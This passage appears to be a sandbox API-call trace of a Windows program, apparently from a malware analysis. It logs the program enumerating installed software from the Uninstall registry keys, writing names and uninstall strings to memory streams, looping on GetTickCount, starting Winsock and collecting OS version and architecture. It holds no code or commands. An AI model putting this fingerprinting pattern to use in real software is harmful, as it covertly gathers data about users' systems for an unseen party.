0x0 [0068.271] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.271] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x0, lpData=0x0, lpcbData=0x12ef10*=0x0) returned 0x2 [0068.271] RegCloseKey (hKey=0x108) returned 0x0 [0068.271] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573", ulOptions=0x0, samDesired=0x20219, phkResult=0x12eee8 | out: phkResult=0x12eee8*=0x108) returned 0x0 [0068.271] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eee0, lpData=0x0, lpcbData=0x12eee4*=0x12eecc | out: lpType=0x12eee0*=0x0, lpData=0x0, lpcbData=0x12eee4*=0x0) returned 0x2 [0068.271] RegCloseKey (hKey=0x108) returned 0x0 [0068.271] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573", ulOptions=0x0, samDesired=0x20119, phkResult=0x12eebc | out: phkResult=0x12eebc*=0x108) returned 0x0 [0068.271] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eeb4, lpData=0x0, lpcbData=0x12eeb8*=0x12eea0 | out: lpType=0x12eeb4*=0x0, lpData=0x0, lpcbData=0x12eeb8*=0x0) returned 0x2 [0068.271] RegCloseKey (hKey=0x108) returned 0x0 [0068.271] LocalFree (hMem=0x626a88) returned 0x0 [0068.271] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x50, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.271] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.271] lstrlenA (lpString="\\") returned 1 [0068.271] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.271] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.271] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.271] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.271] lstrlenA (lpString="{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned 38 [0068.271] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.271] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.271] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0068.271] LocalFree (hMem=0x626e60) returned 0x0 [0068.271] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.271] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0x64) returned 0x0 [0068.271] LocalAlloc (uFlags=0x40, uBytes=0xe5) returned 0x626b70 [0068.271] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x64 | out: lpType=0x0, lpData=0x626b70*=0x22, lpcbData=0x12ef10*=0x64) returned 0x0 [0068.271] RegCloseKey (hKey=0x108) returned 0x0 [0068.271] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x22, cb=0x64, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x64) returned 0x0 [0068.271] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.272] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x3e) returned 0x0 [0068.272] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x626e60 [0068.272] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x3e | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x3e) returned 0x0 [0068.272] RegCloseKey (hKey=0x108) returned 0x0 [0068.272] lstrlenA (lpString="{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned 38 [0068.272] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.272] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x3e, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x3e) returned 0x0 [0068.272] LocalFree (hMem=0x626e60) returned 0x0 [0068.272] LocalFree (hMem=0x626b70) returned 0x0 [0068.272] LocalFree (hMem=0x626a88) returned 0x0 [0068.272] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x51, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.272] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.272] lstrlenA (lpString="\\") returned 1 [0068.272] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.272] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.272] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.272] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.272] lstrlenA (lpString="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}") returned 38 [0068.272] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.272] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.272] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}" [0068.272] LocalFree (hMem=0x626e60) returned 0x0 [0068.272] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.272] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.272] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.272] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.272] RegCloseKey (hKey=0x108) returned 0x0 [0068.272] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.272] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.272] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x3e) returned 0x0 [0068.272] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x626e60 [0068.272] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x3e | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x3e) returned 0x0 [0068.272] RegCloseKey (hKey=0x108) returned 0x0 [0068.272] lstrlenA (lpString="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}") returned 38 [0068.272] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.273] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x3e, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x3e) returned 0x0 [0068.273] LocalFree (hMem=0x626e60) returned 0x0 [0068.273] LocalFree (hMem=0x626b70) returned 0x0 [0068.273] LocalFree (hMem=0x626a88) returned 0x0 [0068.273] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x52, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0068.273] RegCloseKey (hKey=0x104) returned 0x0 [0068.273] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x12ef48*=0x0, cb=0x4, pcbWritten=0x12ef24 | out: pcbWritten=0x12ef24*=0x4) returned 0x0 [0068.273] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef48*=0x0, cb=0x4, pcbWritten=0x12ef24 | out: pcbWritten=0x12ef24*=0x4) returned 0x0 [0068.273] GetHGlobalFromStream (in: pstm=0x622e80, phglobal=0x12ef58 | out: phglobal=0x12ef58) returned 0x0 [0068.273] IStream:RemoteSeek (in: This=0x622e80, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.273] LocalAlloc (uFlags=0x40, uBytes=0x1789) returned 0x633908 [0068.273] GlobalLock (hMem=0x570004) returned 0x6321e8 [0068.273] GlobalUnlock (hMem=0x570004) returned 0 [0068.273] GetHGlobalFromStream (in: pstm=0x623010, phglobal=0x12ef58 | out: phglobal=0x12ef58) returned 0x0 [0068.273] IStream:RemoteSeek (in: This=0x623010, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.273] LocalAlloc (uFlags=0x40, uBytes=0x16fa) returned 0x6350a0 [0068.273] GlobalLock (hMem=0x570014) returned 0x62e440 [0068.273] GlobalUnlock (hMem=0x570014) returned 0 [0068.273] IUnknown:Release (This=0x622e80) returned 0x0 [0068.273] IUnknown:Release (This=0x623010) returned 0x0 [0068.273] GetTickCount () returned 0x1fc67 [0068.273] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.274] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.275] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.276] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.277] GetTickCount () returned 0x1fc67 [0068.358] WSAStartup (in: wVersionRequired=0x101, lpWSAData=0x12fdc6 | out: lpWSAData=0x12fdc6) returned 0 [0068.362] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12ff6c | out: ppstm=0x12ff6c*=0x6405d0) returned 0x0 [0068.363] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.363] IStream:SetSize (This=0x6405d0, libNewSize=0x0) returned 0x0 [0068.363] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147bc*=0x50, cb=0x8, pcbWritten=0x12ff00 | out: pcbWritten=0x12ff00*=0x8) returned 0x0 [0068.363] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147dd*=0x31, cb=0x8, pcbWritten=0x12ff00 | out: pcbWritten=0x12ff00*=0x8) returned 0x0 [0068.363] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.363] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.363] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fdd0 | out: pcbWritten=0x12fdd0*=0x8) returned 0x0 [0068.363] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fdf8*=0x0, cb=0x4, pcbWritten=0x12fdd4 | out: pcbWritten=0x12fdd4*=0x4) returned 0x0 [0068.363] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fe0c*=0x0, cb=0x2, pcbWritten=0x12fdd0 | out: pcbWritten=0x12fdd0*=0x2) returned 0x0 [0068.363] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fe10*=0x0, cb=0x2, pcbWritten=0x12fdd0 | out: pcbWritten=0x12fdd0*=0x2) returned 0x0 [0068.363] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fe10*=0x1, cb=0x4, pcbWritten=0x12fdec | out: pcbWritten=0x12fdec*=0x4) returned 0x0 [0068.363] GetVersionExA (in: lpVersionInformation=0x12fe50*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x12fe50*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0068.363] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fdfc*=0x9c, cb=0x4, pcbWritten=0x12fdd8 | out: pcbWritten=0x12fdd8*=0x4) returned 0x0 [0068.363] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fe50*=0x9c, cb=0x9c, pcbWritten=0x12fdd4 | out: pcbWritten=0x12fdd4*=0x9c) returned 0x0 [0068.363] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x761d0000 [0068.363] GetProcAddress (hModule=0x761d0000, lpProcName="GetNativeSystemInfo") returned 0x7620be77 [0068.363] GetProcAddress (hModule=0x761d0000, lpProcName="IsWow64Process") returned 0x76214785 [0068.363] GetCurrentProcess () returned 0xffffffff [0068.363] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x12fe08 | out: Wow64Process=0x12fe08) returned 1 [0068.363] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fe10*=0x0, cb=0x4, pcbWritten=0x12fdec | out: pcbWritten=0x12fdec*=0x4) returned 0x0 [0068.363] 